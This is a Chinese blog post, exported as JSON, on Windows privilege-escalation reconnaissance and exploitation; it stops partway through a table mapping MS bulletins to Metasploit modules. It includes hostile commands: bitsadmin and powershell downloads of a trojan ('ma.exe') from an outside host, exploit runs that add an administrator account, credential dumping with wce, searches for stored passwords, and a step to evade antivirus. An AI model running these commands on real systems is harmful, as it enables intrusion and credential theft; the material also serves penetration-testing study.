{"id":283366,"date":"2022-05-25T16:40:56","date_gmt":"2022-05-25T08:40:56","guid":{"rendered":"https:\/\/www.idc.net\/help\/283366\/"},"modified":"2022-05-25T16:40:56","modified_gmt":"2022-05-25T08:40:56","slug":"windows%e6%8f%90%e6%9d%83%e5%9f%ba%e7%a1%80%ef%bc%9a%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86%e6%8a%80%e5%b7%a7%e5%8f%8a%e5%8f%af%e7%94%a8%e6%bc%8f%e6%b4%9e%e6%90%9c%e7%b4%a2","status":"publish","type":"post","link":"https:\/\/idc.net\/help\/283366\/","title":{"rendered":"Windows\u63d0\u6743\u57fa\u7840\uff1a\u4fe1\u606f\u6536\u96c6\u6280\u5de7\u53ca\u53ef\u7528\u6f0f\u6d1e\u641c\u7d22"},"content":{"rendered":"

\u3010\u3011\u5728\u6e17\u900f\u8fc7\u7a0b\u4e2d\u5f88\u591a\u4eba\u90fd\u8ba4\u4e3aWindows\u63d0\u6743\u5f88\u96be\uff0c\u5176\u6838\u5fc3\u662f\u638c\u63e1\u7684\u57fa\u7840\u4e0d\u591f\u624e\u5b9e\uff0c\u5f53\u7136\u9664\u4e86\u6781\u4e3a\u53d8\u6001\u7684\u6743\u9650\u8bbe\u7f6e\u7684\u670d\u52a1\u5668\uff0c\u57fa\u672c\u4e0a\u7b14\u8005\u9047\u5230\u7684\u670d\u52a1\u566899%\u90fd\u63d0\u6743\u6210\u529f\u4e86\uff0c\u672c\u6587\u6536\u96c6\u6574\u7406\u4e00\u4e9b\u8ddf\u63d0\u6743\u7d27\u5bc6\u76f8\u5173\u7684\u4fe1\u606f\u6536\u96c6\u6280\u5de7\u548c\u65b9\u6cd5\uff0c\u4ee5\u53ca\u5982\u4f55\u5728kali\u4e2d\u641c\u7d22\u53ef\u7528\u7684\u6f0f\u6d1e\uff0c\u6700\u540e\u6574\u7406\u4e86\u76ee\u524d\u53ef\u4f9b\u4f7f\u7528\u7684\u4e00\u4e9b\u6f0f\u6d1e\u5bf9\u5e94msf\u4e0b\u7684\u6a21\u5757\u4ee5\u53ca\u64cd\u4f5c\u7cfb\u7edf\u53ef\u63d0\u6743\u7684\u7248\u672c\u3002<\/p>\n

\u4e00\u3001Windows\u63d0\u6743\u4fe1\u606f\u6536\u96c6<\/strong><\/p>\n

1. \u6536\u96c6OS\u540d\u79f0\u548c\u7248\u672c\u4fe1\u606f<\/p>\n

\n \n \n \n 
    \n  \n  \n  \n  
  1. systeminfo | findstr \/B \/C:\"OS Name\" \/C:\"OS Version\" <\/span><\/span><\/li>\n  \n  \n  \n  
  2. systeminfo | findstr \/B \/C:\"OS \u540d\u79f0\" \/C:\"OS \u7248\u672c\" <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
    2. \u4e3b\u673a\u540d\u79f0\u548c\u6240\u6709\u73af\u5883\u53d8\u91cf<\/p>\n
      \n
    • \u4e3b\u673a\u540d\u79f0\uff1ahostname<\/li>\n
    • \u73af\u5883\u53d8\u91cf\uff1aSET<\/li>\n<\/ul>\n
      3. \u67e5\u770b\u7528\u6237\u4fe1\u606f<\/p>\n
        \n
      • \u67e5\u770b\u6240\u6709\u7528\u6237\uff1anet user \u6216\u8005net1 user<\/li>\n
      • \u67e5\u770b\u7ba1\u7406\u5458\u7528\u6237\u7ec4\uff1anet localgroup administrators\u6216\u8005net1 localgroup administrators<\/li>\n
      • \u67e5\u770b\u8fdc\u7a0b\u7ec8\u7aef\u5728\u7ebf\u7528\u6237\uff1aquery user \u6216\u8005quser<\/li>\n<\/ul>\n
        4. \u67e5\u770b\u8fdc\u7a0b\u7aef\u53e3<\/p>\n
        (1)\u6ce8\u518c\u8868\u67e5\u770b<\/p>\n
        \n \n \n \n 
          \n  \n  \n  \n  
        1. REG query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server\\WinStations\\RDP-Tcp \/v PortNumber <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
          (2)\u901a\u8fc7\u547d\u4ee4\u884c\u67e5\u770b<\/p>\n
            \n
          • \u83b7\u53d6\u5bf9\u5e94\u7684PID\u53f7\uff1atasklist \/svc | find \"TermService\"<\/li>\n
          • \u901a\u8fc7PID\u53f7\u67e5\u627e\u7aef\u53e3\uff1anetstat -ano | find \"1980\"<\/li>\n<\/ul>\n
            5. \u67e5\u770b\u7f51\u7edc\u60c5\u51b5<\/p>\n
            (1)\u7f51\u7edc\u914d\u7f6e\u60c5\u51b5\uff1aipconfig \/all<\/p>\n
            (2)\u8def\u7531\u5668\u4fe1\u606f\uff1a route print<\/p>\n
            (3)\u8981\u67e5\u770bARP\u7f13\u5b58\uff1a arp -A<\/p>\n
            (4)\u67e5\u770b\u7f51\u7edc\u8fde\u63a5\uff1a netstat -ano<\/p>\n
            (5)\u8981\u67e5\u770b\u9632\u706b\u5899\u89c4\u5219\uff1a<\/p>\n
            \n \n \n \n 
              \n  \n  \n  \n  
            1. netsh firewall show config  <\/span><\/span><\/li>\n  \n  \n  \n  
            2. netsh firewall show state <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
              6. \u5e94\u7528\u7a0b\u5e8f\u548c\u670d\u52a1<\/p>\n
              (1)\u8981\u67e5\u770b\u670d\u52a1\u7684\u8fdb\u7a0bID\uff1atasklist \/SVC<\/p>\n
              (2)\u5df2\u5b89\u88c5\u9a71\u52a8\u7a0b\u5e8f\u7684\u5217\u8868\uff1aDRIVERQUERY<\/p>\n
              (3)\u5df2\u7ecf\u542f\u52a8Windows \u670d\u52a1net start<\/p>\n
              (4)\u67e5\u770b\u67d0\u670d\u52a1\u542f\u52a8\u6743\u9650\uff1asc qc TermService<\/p>\n
              (5)\u5df2\u5b89\u88c5\u7a0b\u5e8f\u7684\u5217\u8868\uff1awmic product list brief<\/p>\n
              (6)\u67e5\u770b\u670d\u52a1\u5217\u8868\uff1awmic service list brief # Lists services<\/p>\n
              (7)\u67e5\u770b\u8fdb\u7a0b\u5217\u8868wmic process list brief # Lists processes<\/p>\n
              (8)\u67e5\u770b\u542f\u52a8\u7a0b\u5e8f\u5217\u8868wmic startup list brief # Lists startup items<\/p>\n
              (9)\u68c0\u67e5\u8865\u4e01\u5df2\u5b89\u88c5\u7684\u66f4\u65b0\u548c\u5b89\u88c5\u65e5\u671f<\/p>\n
              \n \n \n \n 
                \n  \n  \n  \n  
              1. wmic qfe get Caption,De**ion,HotFixID,InstalledOn <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                \u641c\u7d22\uff0c\u60a8\u53ef\u4ee5\u4f7f\u7528\u63d0\u5347\u6743\u9650\u7684\u7279\u5b9a\u6f0f\u6d1e\uff1a<\/p>\n
                \n \n \n \n 
                  \n  \n  \n  \n  
                1. wmic qfe get Caption,De**ion,HotFixID,InstalledOn | findstr  \/C:\"KBxxxxxxx\" <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                  \u6267\u884c\u4e0a\u9762\u7684\u547d\u4ee4\u7684\u6ca1\u6709\u8f93\u51fa\uff0c\u610f\u5473\u7740\u90a3\u4e2a\u8865\u4e01\u672a\u5b89\u88c5\u3002<\/p>\n
                  (10)\u7ed3\u675f\u7a0b\u5e8f\uff1a<\/p>\n
                  \n \n \n \n 
                    \n  \n  \n  \n  
                  1. wmic process where <\/span>name<\/span>=<\/span>\"iexplore.exe\"<\/span> call terminate <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                    7. \u68c0\u7d22\u654f\u611f\u6587\u4ef6<\/p>\n
                    \n \n \n \n 
                      \n  \n  \n  \n  
                    1. dir \/b\/s password.txt <\/span><\/span><\/li>\n  \n  \n  \n  
                    2. dir \/b \/s *.doc <\/span><\/li>\n  \n  \n  \n  
                    3. dir \/b \/s *.ppt <\/span><\/li>\n  \n  \n  \n  
                    4. dir \/b \/s *.xls <\/span><\/li>\n  \n  \n  \n  
                    5. dir \/b \/s *. docx <\/span><\/li>\n  \n  \n  \n  
                    6. dir \/b \/s *.xlsx <\/span><\/li>\n  \n  \n  \n  
                    7. dir \/b\/s config.* filesystem <\/span><\/li>\n  \n  \n  \n  
                    8. findstr \/si password *.xml *.ini *.txt  <\/span><\/li>\n  \n  \n  \n  
                    9. findstr \/si login *.xml *.ini *.txt <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                      \u9664\u6b64\u4e4b\u5916\uff0c\u60a8\u8fd8\u53ef\u4ee5\u68c0\u67e5\u65e0\u4eba\u503c\u5b88\u5b89\u88c5\u65e5\u5fd7\u6587\u4ef6\u3002\u8fd9\u4e9b\u6587\u4ef6\u901a\u5e38\u5305\u542bbase64\u7f16\u7801\u7684\u5bc6\u7801\u3002\u4f60\u66f4\u53ef\u80fd\u5728\u5927\u578b\u4f01\u4e1a\u4e2d\uff0c\u5176\u4e2d\u5355\u4e2a\u7cfb\u7edf\u7684\u624b\u52a8\u5b89\u88c5\u662f\u4e0d\u5207\u5b9e\u9645\u7684\uff0c\u627e\u5230\u8fd9\u4e9b\u6587\u4ef6\u5373\u53ef\u83b7\u53d6\u7ba1\u7406\u5458\u5bc6\u7801\u3002\u8fd9\u4e9b\u6587\u4ef6\u7684\u5171\u540c\u4f4d\u7f6e\u662f\uff1a<\/p>\n
                        \n
                      • C:\\sysprep.inf<\/li>\n
                      • C:\\sysprep\\sysprep.xml<\/li>\n
                      • C:\\Windows\\Panther\\Unattend\\Unattended.xml<\/li>\n
                      • C:\\Windows\\Panther\\Unattended.xml<\/li>\n<\/ul>\n
                        8. \u76ee\u5f55\u6587\u4ef6\u64cd\u4f5c<\/p>\n
                        (1)\u5217\u51fad:\\www\u7684\u6240\u6709\u76ee\u5f55\uff1a<\/p>\n
                        \n \n \n \n 
                          \n  \n  \n  \n  
                        1. for \/d %i in (d:\\www\\*) do @echo %i <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                          (2)\u628a\u5f53\u524d\u8def\u5f84\u4e0b\u6587\u4ef6\u5939\u7684\u540d\u5b57\u53ea\u67091-3\u4e2a\u5b57\u6bcd\u7684\u663e\u793a\u51fa\u6765\uff1a<\/p>\n
                          \n \n \n \n 
                            \n  \n  \n  \n  
                          1. for \/d %i in (???) do @echo %i <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                            (3)\u4ee5\u5f53\u524d\u76ee\u5f55\u4e3a\u641c\u7d22\u8def\u5f84\uff0c\u628a\u5f53\u524d\u76ee\u5f55\u4e0e\u4e0b\u9762\u7684\u5b50\u76ee\u5f55\u7684\u5168\u90e8EXE\u6587\u4ef6\u5217\u51fa\uff1a<\/p>\n
                            \n \n \n \n 
                              \n  \n  \n  \n  
                            1. for \/r %i in (*.exe) do @echo %i <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                              (4)\u4ee5\u6307\u5b9a\u76ee\u5f55\u4e3a\u641c\u7d22\u8def\u5f84\uff0c\u628a\u5f53\u524d\u76ee\u5f55\u4e0e\u4e0b\u9762\u7684\u5b50\u76ee\u5f55\u7684\u6240\u6709\u6587\u4ef6\u5217\u51fa<\/p>\n
                              \n \n \n \n 
                                \n  \n  \n  \n  
                              1. for \/r \"f:\\freehost\\hmadesign\\web\\\" %i in (*.*) do @echo %i <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                (5)\u663e\u793aa.txt\u91cc\u9762\u7684\u5185\u5bb9\uff0c\u56e0\u4e3a\/f\u7684\u4f5c\u7528\uff0c\u4f1a\u8bfb\u51faa.txt\u4e2d\uff1a<\/p>\n
                                \n \n \n \n 
                                  \n  \n  \n  \n  
                                1. for \/f %i in (c:\\1.txt) do echo %i <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                  9. RAR\u6253\u5305<\/p>\n
                                  \n \n \n \n 
                                    \n  \n  \n  \n  
                                  1. rar a -k -r -s -m3 c:\\1.rar d:\\wwwroot <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                    10. php\u8bfb\u6587\u4ef6<\/p>\n
                                    \n \n \n \n 
                                      \n  \n  \n  \n  
                                    1. c:\/php\/php.exe \"c:\/www\/admin\/1.php\" <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                      11. Windows7\u53ca\u4ee5\u4e0a\u7684\u7248\u672c\u64cd\u4f5c\u7cfb\u7edf\u6587\u4ef6\u4e0b\u8f7d\u53ef\u4ee5\u4f7f\u7528\u7684bitsadmin\u548cpowershell\uff1a<\/p>\n
                                      \n \n \n \n 
                                        \n  \n  \n  \n  
                                      1. bitsadmin \/transfer myjob1 \/download \/priority normal http:\/\/www.antian365.com\/lab\/4433.exe c:\\ma.exe <\/span><\/span><\/li>\n  \n  \n  \n  
                                      2. powershell (new-object System.Net.WebClient).DownloadFile(' http:\/\/www.antian365.com\/ma.exe','ma.exe') <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                        12. \u6ce8\u518c\u8868\u5173\u952e\u5b57\u641c\u7d22\uff0cpassword\u4e3a\u5173\u952e\u5b57\uff0c\u53ef\u4ee5\u662fvnc\u7b49\u654f\u611f\u5173\u952e\u5b57<\/p>\n
                                        \n \n \n \n 
                                          \n  \n  \n  \n  
                                        1. reg query HKLM \/f password \/t REG_SZ \/s <\/span><\/span><\/li>\n  \n  \n  \n  
                                        2. reg query HKCU \/f password \/t REG_SZ \/s <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                          13.\u7cfb\u7edf\u6743\u9650\u914d\u7f6e<\/p>\n
                                          \n \n \n \n 
                                            \n  \n  \n  \n  
                                          1. cacls c:\\ <\/span><\/span><\/li>\n  \n  \n  \n  
                                          2. cacls c:\\windows\\ma.exe \u67e5\u770bma.exe\u7684\u6743\u9650\u914d\u7f6e <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                            14.\u81ea\u52a8\u6536\u96c6\u7cfb\u7edf\u6709\u7528\u4fe1\u606f\u811a\u672c<\/p>\n
                                            \n \n \n \n 
                                              \n  \n  \n  \n  
                                            1. for \/f \"<\/span>delims<\/span>=\" %%A in ('dir \/s \/b %WINDIR%\\system32\\*htable.xsl') do set \"<\/span>var<\/span>=%%A\" <\/span><\/span><\/li>\n  \n  \n  \n  
                                            2. wmic process get CSName,Description,ExecutablePath,ProcessId \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            3. wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            4. wmic USERACCOUNT list full \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            5. wmic group list full \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            6. wmic nicconfig where IPEnabled<\/span>=<\/span>'true'<\/span> get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress \/format:\"%var%\" <\/span>><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            7. wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            8. wmic netuse list full \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            9. wmic qfe get Caption,Description,HotFixID,InstalledOn \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            10. wmic startup get Caption,Command,Location,User \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            11. wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            12. wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n  \n  \n  \n  
                                            13. wmic Timezone get DaylightName,Description,StandardName \/format:\"%var%\" ><\/span>><\/span> out.html <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                              \u4e8c\u3001Windows\u63d0\u6743\u51c6\u5907<\/strong><\/p>\n
                                              \u901a\u8fc7\u524d\u9762\u7684\u57fa\u7840\u547d\u4ee4\u4ee5\u53ca\u672c\u7ae0\u7684\u7b2c\u4e8c\u7ae0\u8282\uff0c\u53ef\u4ee5\u6709\u9488\u5bf9\u6027\u7684\u5bf9\u76ee\u6807\u5f00\u5c55\u63d0\u6743\u5de5\u4f5c\uff0c\u6839\u636eWindows-Exploit-Suggester\u83b7\u53d6\u76ee\u524d\u7cfb\u7edf\u53ef\u80fd\u5b58\u5728\u7684\u6f0f\u6d1e\u3002<\/p>\n
                                              1. \u6536\u96c6\u5e76\u7f16\u8bd1\u76f8\u5173POC<\/p>\n
                                              2. \u82e5\u64cd\u4f5c\u7cfb\u7edf\u6709\u6740\u6bd2\u8f6f\u4ef6\u4ee5\u53ca\u5b89\u5168\u9632\u62a4\u8f6f\u4ef6\uff0c\u5219\u9700\u8981\u5bf9\u63d0\u6743POC\u8fdb\u884c\u514d\u6740\uff0c\u5426\u5219\u8fdb\u884c\u4e0b\u4e00\u6b65\u3002<\/p>\n
                                              3. \u4e0a\u4f20POC<\/p>\n
                                              4. \u6709webshell\u6216\u8005\u53cd\u5f39webshell\u6765\u6267\u884c\u547d\u4ee4<\/p>\n
                                              5. \u641c\u7d22\u6f0f\u6d1e\uff0c\u6839\u636e\u5173\u952e\u5b57\u8fdb\u884c\u641c\u7d22\u4f8b\u5982MS10-061\u3002<\/p>\n
                                              (1)\u5728\u767e\u5ea6\u6d4f\u89c8\u5668\u4e2d\u641c\u7d22\u201cMS10-061 site:exploit-db.com\u201d<\/p>\n
                                              (2)packetstormsecurity\u7f51\u7ad9\u641c\u7d22<\/p>\n
                                              https:\/\/packetstormsecurity.com\/search\/?q=MS16-016<\/p>\n
                                              (3)\u5b89\u5168\u7126\u70b9\uff0c\u5176BugTraq\u662f\u4e00\u4e2a\u51fa\u8272\u7684\u6f0f\u6d1e\u548cexploit\u6570\u636e\u6e90\uff0c\u53ef\u4ee5\u901a\u8fc7CVE\u7f16\u53f7\uff0c\u6216\u8005\u4ea7\u54c1\u4fe1\u606f\u6f0f\u6d1e\u76f4\u63a5\u641c\u7d22\u3002\u7f51\u5740\uff1ahttp:\/\/www.securityfocus.com\/bid\u3002<\/p>\n
                                              \u4e09\u3001\u4f7f\u7528msf\u5e73\u53f0\u641c\u7d22\u53ef\u5229\u7528POC<\/strong><\/p>\n
                                              1. \u641c\u7d22poc<\/p>\n
                                              \u5728kali\u4e2d\u6253\u5f00msf\u6216\u8005\u6267\u884c\u201c\/usr\/bin\/msfconsole\u201d\uff0c\u5728\u51fa\u6765\u7684\u547d\u4ee4\u63d0\u793a\u7b26\u4e0b\u4f7f\u7528\u547d\u4ee4\u8fdb\u884c\u641c\u7d22\uff1a<\/p>\n
                                              \n \n \n \n 
                                                \n  \n  \n  \n  
                                              1. search ms08 <\/span><\/span><\/li>\n  \n  \n  \n  
                                              2. search ms09 <\/span><\/li>\n  \n  \n  \n  
                                              3. search ms10 <\/span><\/li>\n  \n  \n  \n  
                                              4. search ms11 <\/span><\/li>\n  \n  \n  \n  
                                              5. search ms12 <\/span><\/li>\n  \n  \n  \n  
                                              6. search ms13 <\/span><\/li>\n  \n  \n  \n  
                                              7. search ms14 <\/span><\/li>\n  \n  \n  \n  
                                              8. search ms15 <\/span><\/li>\n  \n  \n  \n  
                                              9. search ms16 <\/span><\/li>\n  \n  \n  \n  
                                              10. search ms17 <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                \u4ee5\u4e0a\u547d\u4ee4\u5c06\u641c\u7d222008\u5e74\u81f32017\u5e74\u7684\u6240\u6709\u53ef\u7528\u7684Windows\u4e0b\u7684exploit\uff0c\u4f8b\u5982\u641c\u7d222015\u5e74\u7684exploit\uff0c\u5982\u56fe1\u6240\u793a\u3002<\/p>\n
                                                \n
                                                \u56fe1\u641c\u7d222015\u5e74\u6240\u6709\u53ef\u7528\u76840day<\/p>\n
                                                2. \u67e5\u770b\u76f8\u5173\u6f0f\u6d1e\u60c5\u51b5<\/p>\n
                                                \u53ef\u4ee5\u901a\u8fc7\u5fae\u8f6f\u5b98\u65b9\u7f51\u7ad9\u67e5\u770b\u6f0f\u6d1e\u5bf9\u5e94\u7684\u7248\u672c\uff0c\u5229\u7528\u65b9\u5f0f\u4e3ahttps:\/\/technet.microsoft.com\/library\/security\/\u6f0f\u6d1e\u53f7\uff0c\u4f8b\u5982\u67e5\u770bms08-068\u5219\u5176\u7f51\u9875\u6253\u5f00\u65b9\u5f0f\u4e3a\uff1ahttps:\/\/technet.microsoft.com\/library\/security\/ms08-068\uff0c\u5982\u56fe2\u6240\u793a\uff0c\u5982\u679c\u663e\u793a\u4e3a\u4e25\u91cd\u5219\u8868\u660e\u53ef\u4ee5\u88ab\u5229\u7528\u3002<\/p>\n
                                                \n
                                                \u56fe2\u5fae\u8f6f\u5b98\u65b9\u5bf9\u5e94\u7248\u672c\u53f7<\/p>\n
                                                \u56db\u3001\u5b9e\u65bd\u63d0\u6743<\/strong><\/p>\n
                                                \u6267\u884c\u547d\u4ee4\u3002\u6bd4\u5982\u53ef\u5229\u7528poc\u6587\u4ef6\u4e3apoc.exe\uff0c\u5219\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u7684\u4e00\u4e9b\u547d\u4ee4\u63d0\u6743\uff1a<\/p>\n
                                                (1)\u76f4\u63a5\u6267\u884c\u6728\u9a6c\u3002<\/p>\n
                                                \n \n \n \n 
                                                  \n  \n  \n  \n  
                                                1. poc.exe ma.exe <\/span><\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                  (2)\u6dfb\u52a0\u7528\u6237<\/p>\n
                                                  \n \n \n \n 
                                                    \n  \n  \n  \n  
                                                  1. poc.exe \"net user antian365 1qaz2wsx \/add\" <\/span><\/span><\/li>\n  \n  \n  \n  
                                                  2. poc.exe \"net localgroup administrators antian365 \/add\" <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                    (3)\u83b7\u53d6\u660e\u6587\u5bc6\u7801\u6216\u8005\u54c8\u5e0c\u503c<\/p>\n
                                                    \n \n \n \n 
                                                      \n  \n  \n  \n  
                                                    1. poc.exe \"wce32.exe -w\"  <\/span><\/span><\/li>\n  \n  \n  \n  
                                                    2. poc.exe \"wce64.exe -w\" <\/span><\/li>\n  \n  \n  \n  
                                                    3. poc.exe \"wce32\" <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                      \u4e94\u3001\u76f8\u5173\u8d44\u6e90\u4e0b\u8f7d<\/strong><\/p>\n
                                                      1. Tools\u4e0b\u8f7d<\/p>\n
                                                      wce\u4e0b\u8f7d\uff1a<\/p>\n
                                                        \n
                                                      • http:\/\/www.ampliasecurity.com\/research\/windows-credentials-editor\/<\/li>\n
                                                      • http:\/\/www.ampliasecurity.com\/research\/wce_v1_42beta_x32.zip<\/li>\n
                                                      • http:\/\/www.ampliasecurity.com\/research\/wce_v1_42beta_x64.zip<\/li>\n
                                                      • sysinternals \uff1ahttps:\/\/technet.microsoft.com\/en-us\/sysinternals\/bb842062<\/li>\n
                                                      • mimikatz \uff1ahttp:\/\/blog.gentilkiwi.com\/mimikatz<\/li>\n
                                                      • python \uff1ahttps:\/\/www.python.org\/downloads\/windows\/<\/li>\n<\/ul>\n
                                                        2. \u641c\u7d22\u6f0f\u6d1e\u548cshellcode<\/p>\n
                                                          \n
                                                        • http:\/\/www.exploit-db.com<\/li>\n
                                                        • http:\/\/1337day.com<\/li>\n
                                                        • http:\/\/0day.today<\/li>\n
                                                        • http:\/\/www.securityfocus.com<\/li>\n
                                                        • http:\/\/seclists.org\/fulldisclosure\/<\/li>\n
                                                        • http:\/\/www.exploitsearch.net<\/li>\n
                                                        • http:\/\/www.securiteam.com<\/li>\n
                                                        • http:\/\/metasploit.com\/modules\/<\/li>\n
                                                        • http:\/\/securityreason.com<\/li>\n
                                                        • https:\/\/cxsecurity.com\/exploit\/<\/li>\n
                                                        • http:\/\/securitytracker.com\/<\/li>\n<\/ul>\n
                                                          \u516d\u3001Windows\u672c\u5730\u6ea2\u51fa\u6f0f\u6d1e\u5bf9\u5e94\u8868<\/strong><\/p>\n
                                                          Windows2003\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                          1. 2007\u5e74\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                          \n \n \n \n 
                                                            \n  \n  \n  \n  
                                                          1. \uff081\uff09KB935966 |MS07-029  Win2000SP4\u3001Win2003SP1\/SP2 exploit\/windows\/dcerpc\/ms07_029_msdns_zonename <\/span><\/span><\/li>\n  \n  \n  \n  
                                                          2. exploit\/windows\/smb\/ms07_029_msdns_zonename <\/span><\/li>\n  \n  \n  \n  
                                                          3. \uff082\uff09KB937894| MS07-065 WinxpSP2\u3001Win2000SP4\u3001WinXP-x64-SP2\u3001Win2003SP1\/SP2 <\/span><\/li>\n  \n  \n  \n  
                                                          4. exploit\/windows\/dcerpc\/ms07_065_msmq <\/span><\/li>\n  \n  \n  \n  
                                                          5. \uff083\uff09KB941568|MS07-064 Win2000SP4  <\/span><\/li>\n  \n  \n  \n  
                                                          6.   exploit\/windows\/misc\/ms07_064_sami <\/span><\/li>\n  \n  \n  \n  
                                                          7. \uff084\uff09KB944653|MS07-067 WinXPSP2\u3001WinXP-x64-SP2\u3001Win2003SP1\/SP2 <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                            2. 2008\u5e74\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                            \n \n \n \n 
                                                              \n  \n  \n  \n  
                                                            1. \uff081\uff09KB958644 |MS08-067 Win2000SP4\u3001WinXP-SP2\/SP3\u3001 <\/span><\/span><\/li>\n  \n  \n  \n  
                                                            2. WinXP-64-SP\/SP2\u3001Win2003SP1\/SP2\u3001Win2003-64\/SP2 <\/span><\/li>\n  \n  \n  \n  
                                                            3. exploit\/windows\/smb\/ms08_067_netapi <\/span><\/li>\n  \n  \n  \n  
                                                            4. \uff082\uff09KB 957097| MS08-068 Win2000SP4\u3001WinXP-SP2\/SP3\u3001 <\/span><\/li>\n  \n  \n  \n  
                                                            5. WinXP-64-SP\/SP2\u3001Win2003SP1\/SP2\u3001Win2003-64\/SP2 <\/span><\/li>\n  \n  \n  \n  
                                                            6. exploit\/windows\/smb\/smb_relay  <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                              3. 2009\u5e74\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                              \n \n \n \n 
                                                                \n  \n  \n  \n  
                                                              1. \uff081\uff09KB952004|MS09-012 PR Win2003\/2008 <\/span><\/span><\/li>\n  \n  \n  \n  
                                                              2. \uff082\uff09KB956572|MS09-012\u70e4\u8089 <\/span><\/li>\n  \n  \n  \n  
                                                              3. \uff083\uff09KB970483|MS09-020 IIS6 <\/span><\/li>\n  \n  \n  \n  
                                                              4. \uff084\uff09KB971657|MS09-041 WinXP\u3001Win2003\u63d0\u6743 <\/span><\/li>\n  \n  \n  \n  
                                                              5. \uff085\uff09KB975254|MS09-053 IIS5\u8fdc\u7a0b\u6ea2\u51fa\uff0cWindows2000SP4\uff0cWin2003\u53caWin2008\u62d2\u7edd\u670d\u52a1\u3002 <\/span><\/li>\n  \n  \n  \n  
                                                              6. \uff086\uff09KB975517 |MS09-050 Vista\u3001Win2008-32\/SP2\u3001Win2008-64\/SP2 <\/span><\/li>\n  \n  \n  \n  
                                                              7. exploit\/windows\/smb\/ms09_050_smb2_negotiate_func_index <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
                                                                4. 2010\u5e74\u5bf9\u5e94\u6f0f\u6d1e\u3001\u7f16\u53f7\u53ca\u5176\u5f71\u54cd\u7cfb\u7edf\u53camsf\u6a21\u5757<\/p>\n
                                                                \n \n \n \n 
                                                                  \n  \n  \n  \n  
                                                                1. \uff081\uff09KB977165|MS10-015 Vista\u3001Win2003-32-64\/SP2\u3001Win2008-32-64\/SP2 <\/span><\/span><\/li>\n  \n  \n  \n  
                                                                2. exploit\/windows\/local\/ms10_015_kitrap0d <\/span><\/li>\n  \n  \n  \n  
                                                                3. \uff082\uff09KB 2347290|MS10-061 Winxp3\u3001Winxp64sp2\u3001Win2003-32-64 SP2\u3001Win2008-32-64 SP2 <\/span><\/li>\n  \n  \n  \n  
                                                                4. \uff083\uff09KB2360937|MS10-084 Winxp3\u3001Winxp64sp2\u3001Win2003-32-64 SP2 <\/span><\/li>\n  \n  \n  \n  
                                                                5. \uff084\uff09KB2305420| MS10-092 Win7-32-64\u3001Win2008-32-64\u3001Win2008R2-32-64 <\/span><\/li>\n  \n  \n  \n  
                                                                6. exploit\/windows\/local\/ms10_092_schelevator <\/span><\/li>\n  \n  \n  \n  
                                                                7. \uff085\uff09KB2124261|KB2271195  MS10-065 IIS7 <\/span><\/li>\n \n \n \n <\/ol><\/pre>\n
